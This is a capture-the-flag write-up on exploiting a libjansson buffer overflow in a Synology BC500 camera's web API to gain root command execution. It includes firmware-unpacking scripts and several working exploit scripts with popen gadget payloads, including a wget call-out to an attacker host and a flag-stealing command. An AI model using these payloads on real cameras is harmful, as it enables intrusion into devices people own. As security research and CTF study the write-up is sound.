RealWorldCTF 2024: Let's Party in the House

Zerotistic

Jan 30, 2024

6 min read

A pwn writeup for the RealWorldCTF 2024 'Let's party in the house' challenge: exploiting a buffer overflow in libjansson to get RCE on a Synology BC500 camera.

event

RealWorldCTF 2024

Finding the bug

When we started, we guessed it was probably a buffer overflow shown at Pwn2Own Toronto. However, because we couldn’t find any proper resources, we got to reversing.

1st approach: diffing

Since we knew the version given to us, we decided to diff with the version we knew fixed the vulnerability. This proved more tedious than planned, as we weren’t given a .cpio file directly.

When reversing the firmware, we noticed that the function at 0x00054a54 in /bin/systemd was likely the firmware parser. Using that function as a base, we built this script:

1
from pwn import *
2
import zlib
3
f = open('Synology_BC500_1.0.7_0298.sa.bin','rb')
4

5
header = f.read(0x7e)
6
num_sub_headers = u16(header[0x7c:])
7

8
prescript_len = u32(f.read(4))
9
prescript = zlib.decompress(f.read(prescript_len))
10
postscript_len = u32(f.read(4))
11
postscript = zlib.decompress(f.read(postscript_len))
12

13
ff = open('pre-script.sh','wb')
14
ff.write(prescript)
15
ff.close()
16
ff = open('post-script.sh','wb')
17
ff.write(postscript)
18
ff.close()
19

20
def read_sub_header(i):
21
    sub_header = f.read(0x48)
22
    name, subscript_len, image_len = sub_header[:0x40], u32(sub_header[0x40:0x44]), u32(sub_header[0x44:])
23
    subscript = zlib.decompress(f.read(subscript_len))
24
    image = zlib.decompress(f.read(image_len))
25
    ff = open(f'ex-script{i}','wb')
26
    ff.write(subscript)
27
    ff.close()
28
    ff = open(f'image{i}','wb')
29
    ff.write(image)
30
    ff.close()
31

32
for i in range(num_sub_headers):
33
    read_sub_header(i)

This allowed us to extract scripts and images from the firmware. We ended up with 4 images, which after a bit of digging we associated like this:

image0 - kernel
image1 - rootfs
image2 - loader
image3 - fdt

At this point we wanted to mount the rootfs, however it was in a UBI format and we could never extract / mount it. This is a beautiful showcase of something called “big skill issue”. Only after the CTF one of the teammates built a working script to extract it:

1
import ctypes
2
import os
3

4
class ubi_ec_hdr(ctypes.BigEndianStructure):
5
    _pack_ = 1
6
    _fields_ = [
7
        ('magic', ctypes.c_uint32),
8
        ('version', ctypes.c_uint8),
9
        ('padding1', ctypes.c_uint8 * 3),
10
        ('ec', ctypes.c_uint64),
11
        ('vid_hdr_offset', ctypes.c_uint32),
12
        ('data_offset', ctypes.c_uint32),
13
        ('image_seq', ctypes.c_uint32),
14
        ('padding2', ctypes.c_uint8 * 32),
15
        ('hdr_crc', ctypes.c_uint32),
16
    ]
17

18
class sqsh_super_block(ctypes.LittleEndianStructure):
19
    _pack_ = 1
20
    _fields_ = [
21
        ('magic', ctypes.c_uint32),
22
        ('inode_count', ctypes.c_uint32),
23
        ('mod_time', ctypes.c_uint32),
24
        ('block_size', ctypes.c_uint32),
25
        ('frag_count', ctypes.c_uint32),
26
        ('compressor', ctypes.c_uint16),
27
        ('block_log', ctypes.c_uint16),
28
        ('flags', ctypes.c_uint16),
29
        ('id_count', ctypes.c_uint16),
30
        ('version_major', ctypes.c_uint16),
31
        ('version_minor', ctypes.c_uint16),
32
        ('root_inode', ctypes.c_uint64),
33
        ('bytes_used', ctypes.c_uint64),
34
        ('id_table', ctypes.c_uint64),
35
        ('xattr_table', ctypes.c_uint64),
36
        ('inode_table', ctypes.c_uint64),
37
        ('dir_table', ctypes.c_uint64),
38
        ('frag_table', ctypes.c_uint64),
39
        ('export_table', ctypes.c_uint64),
40
    ]
41

42
started = False
43
_path = './extract_1.0.6/image1'
44
blocksize = 0x20000
45
with open(_path, 'rb') as f, open('./hsqs', 'wb') as f2:
46
    for i in range(os.path.getsize(_path)//blocksize):
47
        f.seek(blocksize*i)
48
        hdr = ubi_ec_hdr.from_buffer(bytearray(f.read(0x40)))
49
        f.seek(blocksize*i+hdr.data_offset)
50
        if not started and f.peek(4)[:4] == b'hsqs':
51
            started = True
52
        if started:
53
            f2.write(f.read(blocksize-hdr.data_offset))

This led to us stopping trying to diff anything.

2nd approach: googling

While trying to come up with a solution to diff, one of the teammates sent this link to a small post by TeamT5, briefly explaining how they exploited the camera. After a bit of looking around, we found that the function at 0x6ad4 (later renamed to parse_object) is the function they exploited.

The parse_object function in Binary Ninja

From that we knew the buffer overflow is from a scanf("%s %s") and that it was in /lib/libjansson.so.4.7.0. We got to reversing and found out that the best way to reach that vulnerable scanf is by reaching json_loads.

We noticed that function was used in /www/camera-cgi/synocam_param.cgi. After a bit of renaming/retyping, this is what it looked like:

The decompiled CGI handler

Each HandleHttp* called json_loads at some point. With that we built a small PoC that should lead to a crash from the .cgi.

1
import requests
2
import json
3

4
url = 'http://127.0.0.1:8080/syno-api/security/info/language'
5

6
header = {
7
    'Cookie':'sid=123'
8
}
9

10
json = [{
11
    'a':'',
12
    'a aaaaaaaaaaaaaaaaaaaabbbb':'',
13
}]
14

15
res = requests.post(url, json=json, headers=header)
16
print(res.text)

We knew it crashed because when running it, our script would error on a “connection closed” bug.

In parallel we got a gdbserver and got it to run by adding this script to /etc/init.d/S50_IPcamApp.

echo "INIT GDBSERVER"
if /bin/gdbserver --multi localhost:1337 /bin/sh ; then
    echo "GDBSERVER INIT SUCCESS"
else
    echo "GDBSERVER INIT FAIL"
fi

Then adding -nic user,hostfwd=tcp:0.0.0.0:8080-:80,hostfwd=tcp:0.0.0.0:1337-:1337 \ to the provided run.sh would allow us to connect.

Exploiting

During the exploitation we actually tried many different ways to ropchain our way to RCE. Due to various limitations, such as no null bytes and addresses that can’t contain any char > 0x80, we were stuck for a good while.

Still, we came up with this script:

1
import requests
2
import json
3
from pwn import *
4

5
libc = ELF("./libc-2.30.so")
6
r = remote('127.0.0.1', 8080)
7
context.arch = "arm"
8

9
url = 'http://127.0.0.1:8080/syno-api/security/info/language'
10
header = {
11
    'Cookie':'sid=123'
12
}
13

14
base = 0x450000
15
execve_off = 0x52ecc
16
mov_r0 = 0x000310f4 # : mov r0, r3; pop {fp, pc};
17
pop_r3 = 0x0000654c # : pop {r3, pc};
18
pop_r0 = 0x000d4c60 # : pop {r0, r1, r2, r3, ip, lr}; bx ip;
19

20
guessed_base = 0x76755000
21
guessed_libc_base = guessed_base + 0x41000
22
guessed_libc_exit = guessed_libc_base + 0x2f368
23

24
log.info(f"GUESSED_BASE: {hex(guessed_base)}")
25
log.info(f"GUESSED EXIT: {hex(guessed_libc_exit)}")
26
log.info(f"pop_r0: {hex(guessed_libc_base + pop_r0)}")
27

28
payload = b'[{"a ' + b'C'*204 + p32(0x42424242) + p32(0x41414141)+ b'":"","a ":""}]'
29

30
start = b'POST /syno-api/security/info/language HTTP/1.1\r\nHost: 127.0.0.1:8080\r\nContent-Type:application/json\r\n'
31
header2 = b"Cookie:sid=123\r\n"
32
leng = b"Content-Length: " + bytes(str(len(payload)), "utf-8") + b"\r\n\r\n"
33

34
log.info(start+header2+leng+payload)
35
r.send(start+header2+leng+payload)
36
r.interactive()

It would crash at 0x42424242, giving us proper control of the PC.

After being stuck for a while, a teammate found a one-gadget that allowed us to give commands to popen and execute them. We settled on executing cat /flag > /www/index.html, as it would be easier than trying some fancy reverse shell (we didn’t have the ports exposed).

The updated exploit looked like this:

1
import requests
2
import json
3
from pwn import *
4

5
r = remote('127.0.0.1', 8080)
6

7
context.arch = "arm"
8

9
base = 0x450000
10
guessed_base = 0x76755000
11
guessed_libc_base = guessed_base + 0x41000
12
guessed_libc_exit = guessed_libc_base + 0x2f368
13

14
popen = 0x14344
15
popenGadget = popen + base
16
off_cmd = 0xc2738
17
cmd = base + off_cmd
18

19
log.info("Popen: " + hex(popenGadget))
20
log.info("cmd: " + hex(cmd))
21

22
sep = b'"t":"' + b'P'*0x500 + b'",'
23
sep1 = b'"t1":"' + b'P'*0x500 + b'",'
24
sep2 = b'"t2":"' + b'P'*0x500 + b'",'
25

26
pCmd = b'wget http://10.0.2.2:12345/;'
27

28
payload = b'[{' + sep + sep1 + sep2 + b'"' + b'a'*(204+32) + p32(0x43434343) + p16(cmd & 0xffff) + p8(cmd >> 16) + b' ' + b''.ljust(204, b'C') + p16(popenGadget & 0xffff) + p8(popenGadget >> 16)+ b'":"' + pCmd.ljust(119, b'a') +b'"}]'
29

30
start = b'POST /syno-api/security/info/language HTTP/1.1\r\nHost: 127.0.0.1:8080\r\nContent-Type:application/json\r\n'
31
header2 = b"Cookie:sid=123\r\n"
32
leng = b"Content-Length: " + bytes(str(len(payload)), "utf-8") + b"\r\n\r\n"
33

34
log.info(start+header2+leng+payload)
35
r.send(start+header2+leng+payload)
36
r.interactive()

Since we only have to guess the 0x4x of base, the success rate was 1/16, which is pretty good. However, for some obscure reason the command never got executed. A teammate spent some time debugging and ended up being able to execute commands. He ran the exploit and saw a flag in index.html. He then ran it on remote, and voilà!

This was the updated and final exploit:

1
import requests
2
import json
3
from pwn import *
4

5
r = remote('47.88.48.133', 36344)
6

7
url = 'http://127.0.0.1:8080/syno-api/security/info/language'
8
header = {
9
    'Cookie':'sid=123'
10
}
11

12
libc_base = 0x76795000
13
binary_base = 0x400000
14

15
popen_off = 0x14d60
16

17
execve_off = 0x52ecc
18
mov_r0 = 0x000310f4 # : mov r0, r3; pop {fp, pc};
19
pop_r3 = 0x0000654c # : pop {r3, pc};
20

21
system_off = 0x6DC040
22

23
final_payload = b''
24
target_string = 0x4c5a40
25

26
start = b'[{'
27
entry = b'"'
28
seperate = b'":"",'
29
end = b'":""}]'
30
payload = start + entry
31
payload += b'b":"' + b'b'*0x1000+b'cat /flag'
32
payload += b'","'
33
payload += b'c":"' + b' '*0xff0+b'cat /flag > /www/index.html'
34
payload += b'","'
35
payload += b'whoami":"","'
36
payload += b'a'*(204+36)
37
payload += p32(target_string)[:3]
38
payload += b" "
39
payload += b'C'*204
40
payload += p32(binary_base + popen_off)[:3]
41
payload += end
42

43
start = b'POST /syno-api/security/info/language HTTP/1.1\r\nHost: 127.0.0.1:8080\r\nContent-Type:application/json\r\n'
44
header2 = b"Cookie:sid=123\r\n"
45
leng = b"Content-Length: {}\r\n\r\n".format(len(payload))
46

47
log.info(start+header2+leng+payload)
48
r.send(start+header2+leng+payload)
49

50
r.interactive()

With that we could execute any command as root on the camera and got the flag.